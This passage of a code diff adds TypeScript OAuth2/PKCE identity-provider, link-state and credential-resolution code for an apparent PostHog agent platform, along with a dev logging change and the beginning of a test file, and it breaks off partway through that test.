+/** Build the per-revision provider registry from spec.identity_providers. */
+export function buildIdentityRegistry(
+ configs: readonly IdentityProviderConfig[],
+ deps: BuildIdentityRegistryDeps
+): IdentityProviderRegistry {
+ const providers: IdentityProvider[] = []
+ for (const cfg of configs) {
+ if (cfg.kind === 'oauth2') {
+ providers.push(
+ new Oauth2AuthProvider({
+ config: {
+ id: cfg.id,
+ binding: cfg.binding,
+ authorizeUrl: cfg.authorize_url,
+ tokenUrl: cfg.token_url,
+ clientId: cfg.client_id,
+ clientSecret: cfg.client_secret_ref ? deps.secret(cfg.client_secret_ref) : undefined,
+ scopes: cfg.scopes,
+ userinfoUrl: cfg.userinfo_url,
+ },
+ links: deps.links,
+ credentials: deps.credentials,
+ http: deps.http,
+ })
+ )
+ } else if (cfg.kind === 'posthog' && deps.posthogBaseUrl && cfg.client_id) {
+ const base = deps.posthogBaseUrl.replace(/\/+$/, '')
+ providers.push(
+ new PostHogAuthProvider({
+ config: {
+ id: cfg.id,
+ binding: cfg.binding,
+ authorizeUrl: `${base}/oauth/authorize/`,
+ tokenUrl: `${base}/oauth/token/`,
+ userinfoUrl: `${base}/oauth/userinfo/`,
+ clientId: cfg.client_id,
+ scopes: cfg.scopes,
+ },
+ links: deps.links,
+ credentials: deps.credentials,
+ http: deps.http,
+ })
+ )
+ }
+ }
+ return new MapIdentityProviderRegistry(providers)
+}
+
+/**
+ * The AgentUser id a principal links credentials under. Slack carries it
+ * directly; jwt/posthog map through the identity store. Anonymous/service
+ * principals aren't linkable (return null → resolve() reports unavailable).
+ */
+export async function agentUserIdForPrincipal(
+ principal: SessionPrincipal | null,
+ deps: { identities?: IdentityStore; applicationId: string; teamId: number }
+): Promise<string | null> {
+ if (!principal) {
+ return null
+ }
+ const findOrCreate = async (kind: string, id: string): Promise<string | null> => {
+ if (!deps.identities) {
+ return null
+ }
+ const u = await deps.identities.findOrCreate({
+ team_id: deps.teamId,
+ application_id: deps.applicationId,
+ principal_kind: kind,
+ principal_id: id,
+ })
+ return u.id
+ }
+ switch (principal.kind) {
+ case 'slack':
+ return principal.agent_user_id ?? null
+ case 'jwt':
+ return findOrCreate('jwt', principal.sub)
+ case 'posthog':
+ return findOrCreate('posthog', principal.user_id)
+ default:
+ return null
+ }
+}
+
+export interface ToolIdentityDeps {
+ registry: IdentityProviderRegistry
+ agentUserId: string | null
+ teamId: number
+ applicationId: string
+ /** Our OAuth callback URL for a provider. */
+ redirectUriFor: (providerId: string) => string
+ /**
+ * When set, identity is refused with this reason. Used to fail closed in
+ * shared participant threads (`allow_workspace_participants`): there we
+ * can't trust that the asker is the session owner, and resolving the
+ * owner's credential for any other participant would be a confused deputy
+ * (T1) — so we refuse for EVERY asker in the thread (the owner included),
+ * not just when asker ≠ owner. Fail closed for the whole thread.
+ */
+ unavailableReason?: string
+ /**
+ * Trigger-edge credential source — the per-session broker, narrowed to a
+ * single `resolve(target)`. Consulted (by `provider.credentialTarget`)
+ * BEFORE the persistent linked store: this is the PostHog Code passthrough
+ * (a `posthog` principal's bearer seeded at /run) and any other auth that
+ * was established at the trigger edge rather than via an OAuth link.
+ */
+ seed?: { resolve(target: string): Promise<Credential | null> }
+ /** Emits the `identity.resolved` session-log line on every resolve. */
+ log?: IdentityLog
+}
+
+export function createToolIdentity(deps: ToolIdentityDeps): {
+ resolve(provider: string, scopes?: string[]): Promise<IdentityResolution>
+ relink(provider: string): Promise<string | null>
+} {
+ return {
+ /**
+ * Force a fresh authorize link for an ALREADY-linked provider — the
+ * reconnect path. A consumer that resolved `ok` but had the credential
+ * rejected downstream (e.g. an MCP server reports the grant is missing a
+ * scope, or the token was revoked) calls this to relay a re-authorize
+ * link instead of dead-ending as "unavailable". Returns null when no link
+ * is possible (shared session, unlinkable principal, or a seed-only
+ * provider with no OAuth app) — the caller then keeps the plain failure.
+ */
+ async relink(providerId): Promise<string | null> {
+ if (deps.unavailableReason || !deps.agentUserId) {
+ return null
+ }
+ const provider = deps.registry.get(providerId)
+ if (!provider) {
+ return null
+ }
+ try {
+ const { authorizeUrl } = await provider.initiate({
+ agentUserId: deps.agentUserId,
+ teamId: deps.teamId,
+ applicationId: deps.applicationId,
+ scopes: [],
+ redirectUri: deps.redirectUriFor(providerId),
+ })
+ deps.log?.('info', 'identity.relink', { provider: providerId, agent_user_id: deps.agentUserId })
+ return authorizeUrl
+ } catch (err) {
+ deps.log?.('warn', 'identity.relink_unavailable', {
+ provider: providerId,
+ reason: (err as Error).message,
+ })
+ return null
+ }
+ },
+ async resolve(providerId, scopes = []): Promise<IdentityResolution> {
+ // One session-log line per resolution: the credential source + decision, never the token.
+ const emit = (res: IdentityResolution, source: string, binding?: string): IdentityResolution => {
+ deps.log?.('info', 'identity.resolved', {
+ provider: providerId,
+ source,
+ binding,
+ reason: res.kind === 'unavailable' ? res.reason : undefined,
+ agent_user_id: deps.agentUserId ?? undefined,
+ shared_session: deps.unavailableReason ? true : undefined,
+ })
+ return res
+ }
+
+ // Shared-session gate FIRST — the seed must never resolve the owner's
+ // edge bearer for a different asker (confused deputy, T1).
+ if (deps.unavailableReason) {
+ return emit(
+ { kind: 'unavailable', provider: providerId, reason: deps.unavailableReason },
+ 'unavailable'
+ )
+ }
+ const provider = deps.registry.get(providerId)
+ if (!provider) {
+ return emit({ kind: 'unavailable', provider: providerId, reason: 'unknown_provider' }, 'unavailable')
+ }
+ // Trigger-edge seed (PostHog Code passthrough), keyed by target.
+ if (deps.seed) {
+ const seeded = await deps.seed.resolve(provider.credentialTarget)
+ if (seeded) {
+ return emit(
+ { kind: 'ok', credential: seeded, allowedHosts: provider.allowedHosts() },
+ 'edge_seed',
+ provider.binding
+ )
+ }
+ }
+ // No seed and not linkable (anonymous/service principal).
+ if (!deps.agentUserId) {
+ return emit(
+ { kind: 'unavailable', provider: providerId, reason: 'principal_not_linkable' },
+ 'unavailable',
+ provider.binding
+ )
+ }
+ const args = {
+ agentUserId: deps.agentUserId,
+ teamId: deps.teamId,
+ applicationId: deps.applicationId,
+ scopes,
+ }
+ // Linked credential, else initiate a link. Wrapped so a non-linkable
+ // provider, the unimplemented `agent` binding, or a refresh failure
+ // degrade to `unavailable` instead of crashing dispatch.
+ try {
+ const credential = await provider.resolve(args)
+ if (credential) {
+ return emit(
+ { kind: 'ok', credential, allowedHosts: provider.allowedHosts() },
+ 'linked_store',
+ provider.binding
+ )
+ }
+ const { authorizeUrl } = await provider.initiate({
+ ...args,
+ redirectUri: deps.redirectUriFor(providerId),
+ })
+ return emit(
+ { kind: 'link_required', provider: providerId, authorizeUrl },
+ 'link_required',
+ provider.binding
+ )
+ } catch (err) {
+ return emit(
+ { kind: 'unavailable', provider: providerId, reason: (err as Error).message },
+ 'unavailable',
+ provider.binding
+ )
+ }
+ },
+ }
+}
+
+export interface BuildAskerIdentityDeps {
+ credentials: IdentityCredentialStore
+ links: IdentityLinkStateStore
+ /** Resolves a non-slack principal to its AgentUser id for linking. */
+ identities?: IdentityStore
+ /** Per-session broker — the trigger-edge seed source. */
+ credentialBroker?: CredentialBroker
+ http: HttpFetcher
+ /** Resolve an encrypted_env secret by name (oauth2 client_secret_ref). */
+ secret: (name: string) => string | undefined
+ /** PostHog instance base URL — builds the managed posthog provider + the
+ * implicit seed-only fallback. */
+ posthogApiBaseUrl: string
+ /** OAuth callback base; `/link/<provider>/callback` is appended. */
+ linkRedirectBaseUrl?: string
+ log?: IdentityLog
+}
+
+/**
+ * Build the run's per-asker `ctx.identity` resolver — the ONE seam both the
+ * driver (native/custom tool credential resolution) and the worker (MCP
+ * `auth.provider`) use, so they resolve identically (same shared-session gate,
+ * same edge-seed wiring).
+ *
+ * Always registers an implicit seed-only PostHog provider when no
+ * `{kind:posthog}` provider is declared, so a PostHog Code session resolves the
+ * trigger-edge bearer for `posthog` without the agent having to declare/provision
+ * an OAuthApplication it never links against.
+ */
+export async function buildAskerIdentity(
+ rev: AgentRevision,
+ session: AgentSession,
+ deps: BuildAskerIdentityDeps
+): Promise<ToolContext['identity']> {
+ const baseRegistry = buildIdentityRegistry(rev.spec.identity_providers, {
+ links: deps.links,
+ credentials: deps.credentials,
+ http: deps.http,
+ secret: deps.secret,
+ posthogBaseUrl: deps.posthogApiBaseUrl,
+ })
+ const providers = baseRegistry.all()
+ const hasPosthogTarget = providers.some((p) => p.credentialTarget === 'posthog_api')
+ const registry =
+ hasPosthogTarget || !deps.posthogApiBaseUrl
+ ? baseRegistry
+ : new MapIdentityProviderRegistry([
+ ...providers,
+ new SeedOnlyPostHogProvider('posthog', deps.posthogApiBaseUrl),
+ ])
+
+ const slackTrigger = rev.spec.triggers.find((t) => t.type === 'slack')
+ const sharedSession = slackTrigger?.type === 'slack' && slackTrigger.config.allow_workspace_participants
+ const agentUserId = await agentUserIdForPrincipal(session.principal, {
+ identities: deps.identities,
+ applicationId: rev.application_id,
+ teamId: session.team_id,
+ })
+ const base = deps.linkRedirectBaseUrl ?? 'https://agents.posthog.com'
+ return createToolIdentity({
+ registry,
+ agentUserId,
+ teamId: session.team_id,
+ applicationId: rev.application_id,
+ redirectUriFor: (p) => `${base}/link/${p}/callback`,
+ unavailableReason: sharedSession ? 'shared_session_unsupported' : undefined,
+ seed: deps.credentialBroker ? { resolve: (t) => deps.credentialBroker!.resolve(session.id, t) } : undefined,
+ log: deps.log,
+ })
+}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/identity-link-state-store.ts b/products/agent_platform/services/agent-shared/src/runtime/identity-link-state-store.ts
new file mode 100644
index 000000000000..f1f049d6f10c
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/identity-link-state-store.ts
@@ -0,0 +1,144 @@
+/**
+ * Single-use signed-state store for an in-flight OAuth link round-trip. A
+ * provider's `initiate()` writes a row binding the authorize request to
+ * `(agent_user, provider)` + the PKCE verifier; the callback's `complete()`
+ * atomically `consume()`s it. `consume` enforces single use (a row already
+ * used, expired, or missing yields null) so a leaked/replayed callback can't
+ * mint a second credential or be retargeted at another principal.
+ *
+ * Backed by `agent_identity_link_state` (Django-owned schema; migration 0007).
+ */
+
+import { randomUUID } from 'node:crypto'
+import type { Pool } from 'pg'
+
+export interface LinkState {
+ id: string
+ teamId: number
+ applicationId: string
+ agentUserId: string
+ provider: string
+ scopes: string[]
+ codeVerifier: string
+ redirectUri: string
+}
+
+export interface CreateLinkStateInput {
+ teamId: number
+ applicationId: string
+ agentUserId: string
+ provider: string
+ scopes: string[]
+ codeVerifier: string
+ redirectUri: string
+ /** Lifetime in ms (default 10 min). */
+ ttlMs?: number
+}
+
+export interface IdentityLinkStateStore {
+ /** Create a state row; returns its id (the OAuth `state` param). */
+ create(input: CreateLinkStateInput): Promise<string>
+ /** Read (without consuming) which app + provider a state belongs to — lets a
+ * callback rebuild the right provider before `consume`. Null if gone/used/expired. */
+ peek(id: string): Promise<{ applicationId: string; provider: string } | null>
+ /** Atomically consume by id: returns the row exactly once, then never again. */
+ consume(id: string): Promise<LinkState | null>
+ /** Janitor sweep of expired/used rows. Returns count removed. */
+ sweepExpired(): Promise<number>
+}
+
+const DEFAULT_LINK_STATE_TTL_MS = 10 * 60 * 1000
+
+// The `id` column is uuid — a malformed `state` from a tampered/garbage callback
+// would otherwise make Postgres throw on the cast. Treat non-uuid as "no row".
+const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i
+
+interface StateRow {
+ id: string
+ team_id: string | number
+ application_id: string
+ agent_user_id: string
+ provider: string
+ scopes: string[] | null
+ code_verifier: string
+ redirect_uri: string
+}
+
+export class PgIdentityLinkStateStore implements IdentityLinkStateStore {
+ constructor(private readonly pool: Pool) {}
+
+ async create(input: CreateLinkStateInput): Promise<string> {
+ const id = randomUUID()
+ const expiresAt = new Date(Date.now() + (input.ttlMs ?? DEFAULT_LINK_STATE_TTL_MS))
+ await this.pool.query(
+ `INSERT INTO agent_identity_link_state
+ (id, team_id, application_id, agent_user_id, provider, scopes,
+ code_verifier, redirect_uri, expires_at, created_at)
+ VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, NOW())`,
+ [
+ id,
+ input.teamId,
+ input.applicationId,
+ input.agentUserId,
+ input.provider,
+ input.scopes,
+ input.codeVerifier,
+ input.redirectUri,
+ expiresAt,
+ ]
+ )
+ return id
+ }
+
+ async peek(id: string): Promise<{ applicationId: string; provider: string } | null> {
+ if (!UUID_RE.test(id)) {
+ return null
+ }
+ const r = await this.pool.query<{ application_id: string; provider: string }>(
+ `SELECT application_id, provider FROM agent_identity_link_state
+ WHERE id = $1 AND used_at IS NULL AND expires_at > NOW()`,
+ [id]
+ )
+ if (r.rowCount === 0) {
+ return null
+ }
+ return { applicationId: r.rows[0].application_id, provider: r.rows[0].provider }
+ }
+
+ async consume(id: string): Promise<LinkState | null> {
+ if (!UUID_RE.test(id)) {
+ return null
+ }
+ // Single-use + unexpired in one atomic statement: the partial WHERE
+ // guarantees a given row is returned by exactly one caller. A replayed
+ // callback (same state id) finds used_at already set → no row.
+ const r = await this.pool.query<StateRow>(
+ `UPDATE agent_identity_link_state
+ SET used_at = NOW()
+ WHERE id = $1 AND used_at IS NULL AND expires_at > NOW()
+ RETURNING id, team_id, application_id, agent_user_id, provider, scopes, code_verifier, redirect_uri`,
+ [id]
+ )
+ if (r.rowCount === 0) {
+ return null
+ }
+ const row = r.rows[0]
+ return {
+ id: row.id,
+ teamId: Number(row.team_id),
+ applicationId: row.application_id,
+ agentUserId: row.agent_user_id,
+ provider: row.provider,
+ scopes: row.scopes ?? [],
+ codeVerifier: row.code_verifier,
+ redirectUri: row.redirect_uri,
+ }
+ }
+
+ async sweepExpired(): Promise<number> {
+ const r = await this.pool.query(
+ `DELETE FROM agent_identity_link_state WHERE expires_at <= NOW() OR used_at IS NOT NULL`
+ )
+ return r.rowCount ?? 0
+ }
+}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/identity-provider.ts b/products/agent_platform/services/agent-shared/src/runtime/identity-provider.ts
new file mode 100644
index 000000000000..3eb3618941d7
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/identity-provider.ts
@@ -0,0 +1,107 @@
+/**
+ * `IdentityProvider` — the pluggable credential axis (Axis B in the plan). One
+ * provider owns one external IdP: PostHog (managed), GitHub/Linear/the `dogs`
+ * test IdP (generic oauth2). Distinct from the ingress's `AuthProvider`, which
+ * bundles the principal-source verifiers (Axis A).
+ *
+ * All methods key off a generic `agentUserId` — no Slack/PostHog assumptions.
+ * `establishesIdentity` is true ONLY for a provider that also proves who the
+ * linker is (stamps `subject` on the stored credential — e.g. the PostHog user
+ * uuid); capability-only providers leave it false and stamp no subject.
+ */
+
+import type { Credential } from './credential-broker'
+
+export interface IdentityInitiateInput {
+ /** The principal being linked, resolved to an AgentUser id. */
+ agentUserId: string
+ teamId: number
+ applicationId: string
+ /** Union of scopes the gated tools/MCPs need from this provider. */
+ scopes: string[]
+ /** Our callback URL the provider redirects back to. */
+ redirectUri: string
+}
+
+export interface IdentityInitiateResult {
+ authorizeUrl: string
+ /** OAuth `state` value — also the single-use link-state row id. */
+ stateId: string
+}
+
+export interface IdentityCompleteInput {
+ stateId: string
+ /** Raw callback query (`code`, `state`, `error`, …). */
+ query: Record<string, string | undefined>
+}
+
+export interface IdentityCompleteResult {
+ agentUserId: string
+ provider: string
+}
+
+export interface IdentityResolveInput {
+ agentUserId: string
+ teamId: number
+ applicationId: string
+ scopes: string[]
+}
+
+export interface IdentityProvider {
+ readonly id: string
+ /** Broker key tools/MCPs resolve ('posthog_api', 'github', 'dogs', …). Also
+ * the key `createToolIdentity` consults for a trigger-edge seed credential
+ * before falling to the persistent linked-credential store. */
+ readonly credentialTarget: string
+ /** True only for a provider that proves the linker's identity (stamps `subject`). */
+ readonly establishesIdentity: boolean
+ /** `principal` = act as the asking user (per-asker link or trigger-edge seed).
+ * `agent` = one author-linked credential shared by the whole agent — a marked
+ * seam, `resolve()` throws `agent_binding_not_implemented` until it lands. */
+ readonly binding: 'principal' | 'agent'
+ initiate(input: IdentityInitiateInput): Promise<IdentityInitiateResult>
+ complete(input: IdentityCompleteInput): Promise<IdentityCompleteResult>
+ /** Usable credential for a linked principal, refreshed if stale; null if unlinked. */
+ resolve(input: IdentityResolveInput): Promise<Credential | null>
+ /** Hosts the resolved bearer may be sent to (SSRF guard). Empty = none allowed. */
+ allowedHosts(): string[]
+}
+
+export interface IdentityProviderRegistry {
+ get(id: string): IdentityProvider | undefined
+ require(id: string): IdentityProvider
+ all(): IdentityProvider[]
+}
+
+export class MapIdentityProviderRegistry implements IdentityProviderRegistry {
+ private readonly byId = new Map<string, IdentityProvider>()
+
+ constructor(providers: IdentityProvider[] = []) {
+ for (const p of providers) {
+ this.add(p)
+ }
+ }
+
+ add(provider: IdentityProvider): void {
+ if (this.byId.has(provider.id)) {
+ throw new Error(`duplicate identity provider id: ${provider.id}`)
+ }
+ this.byId.set(provider.id, provider)
+ }
+
+ get(id: string): IdentityProvider | undefined {
+ return this.byId.get(id)
+ }
+
+ require(id: string): IdentityProvider {
+ const provider = this.byId.get(id)
+ if (!provider) {
+ throw new Error(`unknown identity provider: ${id}`)
+ }
+ return provider
+ }
+
+ all(): IdentityProvider[] {
+ return [...this.byId.values()]
+ }
+}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/logger.ts b/products/agent_platform/services/agent-shared/src/runtime/logger.ts
index 481b3cd2c206..1e43de1a6039 100644
--- a/products/agent_platform/services/agent-shared/src/runtime/logger.ts
+++ b/products/agent_platform/services/agent-shared/src/runtime/logger.ts
@@ -19,10 +19,22 @@
* don't have to repeat shared context — every record carries the bindings.
*/
+import os from 'node:os'
+import path from 'node:path'
import pino, { Logger as PinoLogger } from 'pino'
export type Logger = PinoLogger
+/**
+ * Dev-only: where each service tees its JSON logs so a local agent (or you) can
+ * read them without scraping the mprocs pane. `AGENT_LOG_FILE` is set per service
+ * in `bin/mprocs.yaml`; the shared fallback is fine for a single ad-hoc process.
+ * See products/agent_platform/AGENTS.md.
+ */
+function devLogFile(): string {
+ return process.env.AGENT_LOG_FILE || path.join(os.tmpdir(), 'posthog-agent-logs', 'agent.log')
+}
+
/**
* Documented exception to the "no process.env outside the typed config loader"
* rule (agent-shared/CLAUDE.md rule 7). The logger is the bootstrap — it
@@ -48,14 +60,23 @@ function getRoot(): Logger {
return rootLogger
}
const isProd = process.env.NODE_ENV === 'production'
- // Pretty output everywhere except prod. Test runs get pretty too — easier
- // to scan when `LOG_LEVEL=debug` is on.
- const transport = isProd
- ? undefined
- : {
- target: 'pino-pretty',
- options: { colorize: true, ignore: 'pid,hostname', translateTime: 'HH:MM:ss.l' },
- }
+ const isTest = !!process.env.VITEST || process.env.NODE_ENV === 'test'
+ // Prod: JSON to stdout (no transport). Dev/test: pretty to stdout. Dev only
+ // (not test): ALSO tee raw JSON to a tmp file so a local agent can `tail`/grep
+ // the logs — separate worker target, doesn't touch the pretty stdout stream.
+ const level = defaultLevel()
+ const targets: pino.TransportTargetOptions[] = []
+ if (!isProd) {
+ targets.push({
+ target: 'pino-pretty',
+ level,
+ options: { colorize: true, ignore: 'pid,hostname', translateTime: 'HH:MM:ss.l' },
+ })
+ }
+ if (!isProd && !isTest) {
+ targets.push({ target: 'pino/file', level, options: { destination: devLogFile(), mkdir: true } })
+ }
+ const transport = targets.length > 0 ? { targets } : undefined
rootLogger = pino({ level: defaultLevel(), transport })
return rootLogger
}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/oauth2-identity-provider.ts b/products/agent_platform/services/agent-shared/src/runtime/oauth2-identity-provider.ts
new file mode 100644
index 000000000000..c6e0cddcae1c
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/oauth2-identity-provider.ts
@@ -0,0 +1,221 @@
+/**
+ * Generic OAuth2 (auth-code + PKCE) identity provider. One implementation
+ * serves every bring-your-own provider (GitHub, Linear, the `dogs` test IdP) —
+ * the differences are all config (endpoints, client id/secret, scopes). Never
+ * asserts a PostHog identity (`establishesIdentity = false`).
+ */
+
+import { createHash, randomBytes } from 'node:crypto'
+
+import type { Credential } from './credential-broker'
+import type { HttpFetcher } from './http-client'
+import type { IdentityCredentialStore, StoredCredential } from './identity-credential-store'
+import type { IdentityLinkStateStore } from './identity-link-state-store'
+import type {
+ IdentityCompleteInput,
+ IdentityCompleteResult,
+ IdentityInitiateInput,
+ IdentityInitiateResult,
+ IdentityProvider,
+ IdentityResolveInput,
+} from './identity-provider'
+
+export interface Oauth2ProviderConfig {
+ id: string
+ /** Broker key; defaults to `id`. */
+ credentialTarget?: string
+ /** Who the credential acts as. Default `principal`. See `IdentityProvider.binding`. */
+ binding?: 'principal' | 'agent'
+ authorizeUrl: string
+ tokenUrl: string
+ clientId: string
+ /** Omit for public PKCE clients. */
+ clientSecret?: string
+ scopes?: string[]
+ userinfoUrl?: string
+}
+
+export interface Oauth2ProviderDeps {
+ config: Oauth2ProviderConfig
+ links: IdentityLinkStateStore
+ credentials: IdentityCredentialStore
+ http: HttpFetcher
+ /** Refresh this far before expiry. Default 60s. */
+ refreshSkewMs?: number
+ now?: () => number
+}
+
+interface TokenResponse {
+ access_token: string
+ refresh_token?: string
+ token_type?: string
+ expires_in?: number
+ scope?: string
+}
+
+const b64url = (buf: Buffer): string => buf.toString('base64url')
+
+export class Oauth2AuthProvider implements IdentityProvider {
+ // Typed `boolean` (not the literal `false`) so an identity-establishing
+ // subclass can override it to `true`.
+ readonly establishesIdentity: boolean = false
+
+ // `protected` (not `private`) so an identity-establishing subclass
+ // (PostHogAuthProvider) can reach the config + http to derive a subject.
+ constructor(protected readonly deps: Oauth2ProviderDeps) {}
+
+ get id(): string {
+ return this.deps.config.id
+ }
+
+ get credentialTarget(): string {
+ return this.deps.config.credentialTarget ?? this.deps.config.id
+ }
+
+ get binding(): 'principal' | 'agent' {
+ return this.deps.config.binding ?? 'principal'
+ }
+
+ allowedHosts(): string[] {
+ const hosts = new Set<string>()
+ for (const u of [this.deps.config.authorizeUrl, this.deps.config.tokenUrl, this.deps.config.userinfoUrl]) {
+ if (u) {
+ hosts.add(new URL(u).host)
+ }
+ }
+ return [...hosts]
+ }
+
+ async initiate(input: IdentityInitiateInput): Promise<IdentityInitiateResult> {
+ const verifier = b64url(randomBytes(32))
+ const challenge = b64url(createHash('sha256').update(verifier).digest())
+ const scopes = input.scopes.length ? input.scopes : (this.deps.config.scopes ?? [])
+ const stateId = await this.deps.links.create({
+ teamId: input.teamId,
+ applicationId: input.applicationId,
+ agentUserId: input.agentUserId,
+ provider: this.id,
+ scopes,
+ codeVerifier: verifier,
+ redirectUri: input.redirectUri,
+ })
+ const u = new URL(this.deps.config.authorizeUrl)
+ u.searchParams.set('response_type', 'code')
+ u.searchParams.set('client_id', this.deps.config.clientId)
+ u.searchParams.set('redirect_uri', input.redirectUri)
+ if (scopes.length) {
+ u.searchParams.set('scope', scopes.join(' '))
+ }
+ u.searchParams.set('state', stateId)
+ u.searchParams.set('code_challenge', challenge)
+ u.searchParams.set('code_challenge_method', 'S256')
+ return { authorizeUrl: u.toString(), stateId }
+ }
+
+ async complete(input: IdentityCompleteInput): Promise<IdentityCompleteResult> {
+ if (input.query.error) {
+ throw new Error(`oauth_error: ${input.query.error}`)
+ }
+ const code = input.query.code
+ if (!code) {
+ throw new Error('oauth_missing_code')
+ }
+ // Single-use consume binds (state → agent_user, provider, verifier).
+ const state = await this.deps.links.consume(input.stateId)
+ if (!state || state.provider !== this.id) {
+ throw new Error('oauth_invalid_state')
+ }
+ const token = await this.tokenRequest({
+ grant_type: 'authorization_code',
+ code,
+ redirect_uri: state.redirectUri,
+ code_verifier: state.codeVerifier,
+ })
+ const subject = await this.deriveSubject(token.access_token)
+ await this.deps.credentials.put({
+ teamId: state.teamId,
+ applicationId: state.applicationId,
+ agentUserId: state.agentUserId,
+ provider: this.id,
+ credential: this.toStored(token),
+ scopes: token.scope ? token.scope.split(' ') : state.scopes,
+ subject,
+ })
+ return { agentUserId: state.agentUserId, provider: this.id }
+ }
+
+ /**
+ * The external subject this link proves, if any. Base provider establishes
+ * no identity → undefined. An identity-establishing subclass overrides this
+ * (e.g. PostHog reads /oauth/userinfo `sub`) so `complete()` stamps it on
+ * the stored credential. Runs once, at link time, with a fresh access token.
+ */
+ protected async deriveSubject(_accessToken: string): Promise<string | undefined> {
+ return undefined
+ }
+
+ async resolve(input: IdentityResolveInput): Promise<Credential | null> {
+ // `agent` binding resolves one app-scoped credential shared by every
+ // asker; `getAgentScoped` is a marked seam that throws until it lands.
+ const linked =
+ this.binding === 'agent'
+ ? await this.deps.credentials.getAgentScoped(input.applicationId, this.id)
+ : await this.deps.credentials.get(input.agentUserId, this.id)
+ if (!linked) {
+ return null
+ }
+ let stored = linked.credential
+ const now = (this.deps.now ?? Date.now)()
+ const skew = this.deps.refreshSkewMs ?? 60_000
+ if (stored.expires_at && stored.expires_at - skew <= now && stored.refresh_token) {
+ const token = await this.tokenRequest({ grant_type: 'refresh_token', refresh_token: stored.refresh_token })
+ stored = this.toStored(token, stored.refresh_token)
+ await this.deps.credentials.put({
+ teamId: input.teamId,
+ applicationId: input.applicationId,
+ agentUserId: input.agentUserId,
+ provider: this.id,
+ credential: stored,
+ scopes: linked.scopes,
+ })
+ }
+ return {
+ kind: 'oauth_bearer',
+ token: stored.access_token,
+ provider: this.id,
+ scopes: linked.scopes,
+ expires_at: stored.expires_at,
+ }
+ }
+
+ private toStored(t: TokenResponse, fallbackRefresh?: string): StoredCredential {
+ const now = (this.deps.now ?? Date.now)()
+ return {
+ access_token: t.access_token,
+ refresh_token: t.refresh_token ?? fallbackRefresh,
+ token_type: t.token_type,
+ expires_at: t.expires_in ? now + t.expires_in * 1000 : undefined,
+ }
+ }
+
+ private async tokenRequest(params: Record<string, string>): Promise<TokenResponse> {
+ const body = new URLSearchParams({ ...params, client_id: this.deps.config.clientId })
+ if (this.deps.config.clientSecret) {
+ body.set('client_secret', this.deps.config.clientSecret)
+ }
+ const res = await this.deps.http.fetch(this.deps.config.tokenUrl, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/x-www-form-urlencoded', Accept: 'application/json' },
+ body: body.toString(),
+ })
+ if (!res.ok) {
+ const text = await res.text().catch(() => '')
+ throw new Error(`oauth_token_http_${res.status}: ${text.slice(0, 200)}`)
+ }
+ const json = (await res.json()) as TokenResponse
+ if (!json.access_token) {
+ throw new Error('oauth_token_no_access_token')
+ }
+ return json
+ }
+}
diff --git a/products/agent_platform/services/agent-shared/src/runtime/pg-credential-broker.ts b/products/agent_platform/services/agent-shared/src/runtime/pg-credential-broker.ts
index d37aeb4bbd1e..673e75cd6946 100644
--- a/products/agent_platform/services/agent-shared/src/runtime/pg-credential-broker.ts
+++ b/products/agent_platform/services/agent-shared/src/runtime/pg-credential-broker.ts
@@ -1,7 +1,7 @@
/**
* Postgres-backed `CredentialBroker`. Storage shape matches the
- * `agent_session_credential` table from
- * `agent-migrations/.../1780247580000_agent_session_credential.sql`.
+ * Django-owned `agent_session_credential` table (see
+ * products/agent_platform/backend/models.py + migrations/).
*
* **Encryption at rest.** The credentials map is encrypted with the
* platform's `EncryptedFields` (same Fernet-keyed mechanism used for
diff --git a/products/agent_platform/services/agent-shared/src/runtime/posthog-identity-provider.test.ts b/products/agent_platform/services/agent-shared/src/runtime/posthog-identity-provider.test.ts
new file mode 100644
index 000000000000..762cbb005625
--- /dev/null
+++ b/products/agent_platform/services/agent-shared/src/runtime/posthog-identity-provider.test.ts
@@ -0,0 +1,274 @@
+/**
+ * PostHogAuthProvider — the managed identity provider. Verifies the two things
+ * that make it more than the generic oauth2 provider:
+ * 1. `establishesIdentity` is true.
+ * 2. `complete()` reads /oauth/userinfo `sub` and stamps it as the credential
+ * `subject`; the generic provider against the same server stamps nothing.
+ *
+ * PG-free: in-memory link + credential stores and a scripted HttpFetcher, so it
+ * proves the provider logic without the runtime DB.
+ */
+
+import { describe, expect, it } from 'vitest'
+
+import type { HttpFetcher } from './http-client'
+import type { IdentityCredentialStore, LinkedCredential, PutLinkedCredentialInput } from './identity-credential-store'
+import type { CreateLinkStateInput, IdentityLinkStateStore, LinkState } from './identity-link-state-store'
+import { Oauth2AuthProvider } from './oauth2-identity-provider'
+import { PostHogAuthProvider, SeedOnlyPostHogProvider } from './posthog-identity-provider'
+
+const BASE = 'https://ph.test'
+
+describe('posthog provider credential target', () => {
+ it('PostHogAuthProvider resolves under the broker target `posthog_api`', () => {
+ const p = new PostHogAuthProvider({
+ config: {
+ id: 'posthog',
+ authorizeUrl: `${BASE}/oauth/authorize/`,
+ tokenUrl: `${BASE}/oauth/token/`,
+ clientId: 'c',
+ },
+ links: {} as IdentityLinkStateStore,
+ credentials: {} as IdentityCredentialStore,
+ http: {} as HttpFetcher,
+ })
+ expect(p.credentialTarget).toBe('posthog_api')
+ })
+
+ it('SeedOnlyPostHogProvider surfaces the seed target + host but cannot link', async () => {
+ const p = new SeedOnlyPostHogProvider('posthog', BASE)
+ expect(p.credentialTarget).toBe('posthog_api')
+ expect(p.allowedHosts()).toEqual(['ph.test'])
+ expect(await p.resolve({ agentUserId: 'au', teamId: 1, applicationId: 'a', scopes: [] })).toBeNull()
+ await expect(
+ p.initiate({ agentUserId: 'au', teamId: 1, applicationId: 'a', scopes: [], redirectUri: 'x' })
+ ).rejects.toThrow('link_unavailable_no_oauth_app')
+ })
+})
+
+// Scripted IdP: token exchange returns a bearer; userinfo returns a fixed sub.
+function scriptedHttp(sub: string): HttpFetcher {
+ return {
+ async fetch(input, init) {
+ const url = String(input)
+ if (init?.method === 'POST' && url.endsWith('/oauth/token/')) {
+ return new Response(
+ JSON.stringify({
+ access_token: 'at-1',
